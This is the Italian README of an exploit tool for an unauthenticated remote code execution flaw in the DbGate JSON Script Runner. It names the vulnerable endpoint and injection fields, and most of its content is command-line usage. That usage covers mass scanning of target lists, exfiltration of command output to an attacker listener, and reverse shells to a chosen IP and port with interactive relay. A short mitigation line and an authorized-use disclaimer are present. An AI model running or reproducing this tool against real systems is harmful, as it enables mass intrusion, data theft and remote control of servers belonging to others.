
DbGate Unauthenticated Remote Code Execution
RCE non autenticata in DbGate JSON Script Runner (dbgate-serve ≤ 7.1.8).
Strumento di valutazione: CVE-2026-47668.py — solo test autorizzati.
| CVE | CVE-2026-47668 |
| Gravità | Critica |
| Prodotto | DbGate / dbgate-serve |
| Versione interessata | ≤ 7.1.8 |
| Versione corretta | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
Titolo: DbGate Esecuzione di Codice Remota non Autenticata tramite JSON Script Runner
I campi controllati dall'utente (functionName, variableName) vengono inseriti in JavaScript generato dinamicamente senza una corretta validazione. Un attaccante può eseguire codice arbitrario nel processo figlio del runner Node.js.
Mitigazione: Aggiornare alla 7.1.9+. Limitare l'accesso di rete, disabilitare l'autenticazione anonima, ruotare le credenziali, verificare i log per attività sospette su /runners/start.
Telegram: @KNxploited
CVE-2026-47668.py verifica e convalida lo sfruttamento su istanze DbGate che sei autorizzato a testare.
Modalità
Risultati
Directory di output: Nx/ (vuln, dispatch, exfil, failed, list_report, file per-target in exfil/)
pip install -r requirements.txt
Richiede: Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| Input al prompt | Esempio |
|---|---|
| URL singolo | http://192.168.1.10:3000 |
| URL + comando | http://192.168.1.10:3000|id |
| Lista di target | targets.txt |
Ogni esecuzione CLI deve includere --cli.
python CVE-2026-47668.py --cli [options]
-u / --url — URL di base del target
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — comando shell (predefinito: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — solo probe di vulnerabilità (nessun comando)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — vettore di iniezione: functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — porta predefinita quando l'URL non ha porta (predefinita: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — utilizza token Bearer esistente
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — corpo di login personalizzato (predefinito: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — timeout HTTP in secondi
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — verifica certificati TLS
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd)--callback-host — IP/hostname che il target usa per raggiungere il tuo listener
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — bind locale per il listener HTTP (predefinito: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — porta HTTP exfil (predefinita: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — URL di callback esterno (disabilita il listener integrato)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — secondi di attesa per callback (target singolo, predefinito: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — invia output senza codifica base64
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — exec asincrono invece di execSync
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — file con lista di target
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — worker concorrenti (predefinito: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — attesa callback per target nella scansione di massa (predefinito: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
Massa + porta predefinita personalizzata
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
Non richiesto per test normali. Utilizzare HTTP exfil (--cmd) per la prova.
--reverse-shell — il target si connette a LHOST:LPORT (ometti valore = IP LAN + porta 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — porta quando --reverse-shell non include :porta
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — indirizzo di ascolto locale
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — attesa per TCP (predefinito: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — relay base stdin/stdout dopo la connessione
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
Nota Docker: utilizzare un IP raggiungibile dal container DbGate (ad esempio il gateway dell'host), non solo 127.0.0.1 sul tuo PC.
targets.txt)# comment
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
host|command → override del comando per rigaNx/list_report.txtPOST /auth/login → token Bearer (automatico a meno di --token)POST /runners/start → esegue comando + callback HTTP (o TCP inverso se abilitato)Solo per test di sicurezza autorizzati. Devi avere il permesso esplicito per testare qualsiasi sistema. L'autore non è responsabile per un uso improprio o illegale.
By: Nxploited
| Elemento | Dettaglio |
|---|
| Endpoint | POST /runners/start |
| Autenticazione | Richiede Bearer; il token può essere ottenuto tramite POST /auth/login su distribuzioni anonime/predefinite |
| Iniezione | functionName, variableName nei comandi JSON assign |
| Impatto | Esecuzione di comandi del sistema operativo come utente del processo DbGate |
| Modalità | Reverse shell | Descrizione |
|---|
| AUTO | No | Un prompt; token + callback HTTP + predefiniti |
| CLI | Opzionale | Controllo completo tramite flag |
| Mass | No | Scansione da targets.txt |
--reverse-shell | Sì | Verifica TCP opzionale (solo singolo target) |
| Risultato | Significato |
|---|
| FAIL | Irraggiungibile, autenticazione fallita o non vulnerabile |
| VULN | Runner ha accettato solo il probe |
| DISPATCH | Payload inviato; nessun output confermato |
| EXFIL | Callback ricevuto — output del comando confermato |
| REVSH | TCP inverso connesso (solo modalità opzionale) |
| File | Contenuto |
|---|
Nx/vuln.txt | Target vulnerabili (probe OK) |
Nx/dispatch.txt | Payload inviato, non confermato |
Nx/exfil.txt | Callback confermati |
Nx/failed.txt | Target falliti |
Nx/exfil/<host>.txt | Output del comando per target |
Nx/sessions/<id>/summary.json | Riepilogo della sessione |